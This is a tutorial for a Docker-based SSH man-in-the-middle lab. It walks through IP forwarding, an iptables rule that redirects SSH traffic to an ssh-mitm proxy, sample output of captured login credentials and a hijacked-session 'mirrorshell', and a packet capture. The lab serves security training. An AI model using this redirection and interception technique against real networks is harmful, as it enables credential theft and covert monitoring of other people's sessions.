SSH MITM Attack Lab

Lab for learning SSH Man-in-the-Middle (MITM) attacks using ARP spoofing and credential interception.

Introduction

Repo⭐ Please give a Star if you enjoyed this lab ⭐
DownloadsGitHub Clones
StarsGitHub Repo stars
PrerequisitesDocker-ce, SSH-MITM, arpspoof
DifficultyStatic Badge

This lab demonstrates how to perform a Man-in-the-Middle (MITM) attack on SSH connections using ARP spoofing and SSH-MITM. You will learn to intercept SSH traffic between a client and server, redirecting it through a proxy to capture credentials and monitor sessions in real-time. The lab uses Docker containers to create a controlled network environment for ethical security testing.


Lab Environment

DescriptionHostnameIP AddressUSERNAME:PASSWORD
Gateway172.25.0.1
SSH Server (Target)ssh-server172.25.0.10admin:P@assw0rd123
Victim Clientvictim-client172.25.0.20targetuser:supersecret

Setup

Clone the repository:

git clone http://www.github.com/rootandbeer/ssh-mitm-lab
cd ssh-mitm


Start the target environment:

sudo docker compose up -d
# Wait for services to initialize


Create and Launch Python VENV:

python3 -m venv ~/.venv/ssh-mitm
source ~/.venv/ssh-mitm/bin/activate


Install ssh-mitm

python3 -m pip install "ssh-mitm[production]"

Network Configuration

Identify the Docker bridge interface:

# Find Docker bridge interface
export BRIDGE="br-$(sudo docker network ls | awk '/mitm_network/ {print $1}')"

echo "Bridge: $BRIDGE"

Configure IP Forwards & NAT Redirects

Enable IP forwarding:

sudo sysctl -w net.ipv4.ip_forward=1


Verify the change:

cat /proc/sys/net/ipv4/ip_forward  # Should show: 1


Redirect SSH traffic to the ssh-mitm proxy:

sudo iptables -t nat -A PREROUTING -i "$BRIDGE" -p tcp -d 172.25.0.10 --dport 22 -j DNAT --to-destination 172.25.0.1:22


Verify the iptables rule was added:

sudo iptables -t nat -L PREROUTING -n -v

Attack Execution

This attack simulation uses 3 terminals

Monitor Captured Credentials

Watch Terminal 1 (ssh-mitm output) for captured credentials:

[01/03/26 15:14:14] INFO     Remote authentication succeeded   
                                     Remote Address: 172.25.0.10:22          
                                     Username: targetuser                    
                                     Password: supersecret                   
                                     Agent: no agent                         
                    INFO     ℹ                                               
                             265e4691-d19b-4826-a32c-4b140920a30c
                             [0m - local port forwarding                     
                             SOCKS port: 39407          
                               SOCKS4:                                 
                                 * socat: socat                  
                             TCP-LISTEN:LISTEN_PORT,fork                     
                             socks4:127.0.0.1:DESTINATION_ADDR:DESTINATION_PORT,socksport=39407                           
                                 * netcat: nc -X 4 -x            
                             localhost:39407 address port                    
                               SOCKS5:                                 
                                 * netcat: nc -X 5 -x            
                             localhost:39407 address port                    
[01/03/26 15:14:15] INFO     ℹ                                               
                             265e4691-d19b-4826-a32c-4b140920a30c
                             [0m - session started                           
                    INFO     ℹ created mirrorshell on port 38099. connect    
                             with: ssh -p 38099 127.0.0.1  

Optional: Packet Capture

Terminal 4 - Capture traffic for analysis:

Start capturing SSH traffic:

sudo tcpdump -i $BRIDGE -w /tmp/ssh-mitm.pcap "host 172.25.0.20 and port 22"


Analyze the captured packets:

# View packet contents in ASCII
tcpdump -r /tmp/ssh-mitm.pcap -A

# Open in Wireshark for detailed analysis
wireshark /tmp/ssh-mitm.pcap

Cleanup

Remove iptables Rules

Remove the specific PREROUTING rule:

sudo iptables -t nat -D PREROUTING -i "$BRIDGE" -p tcp -d 172.25.0.10 --dport 22 -j DNAT --to-destination 172.25.0.1:22


Alternatively, flush all NAT rules (use with caution):

sudo iptables -t nat -F

Restore Environment

Disable IP forwarding:

sudo sysctl -w net.ipv4.ip_forward=0


Stop and remove the Docker containers:

sudo docker compose down


⭐ Please give a Star if you enjoyed this lab ⭐

root&beer

Brewing Up Cybersecurity News, Hacking Tutorials, and a Dash of Unsolicited Opinions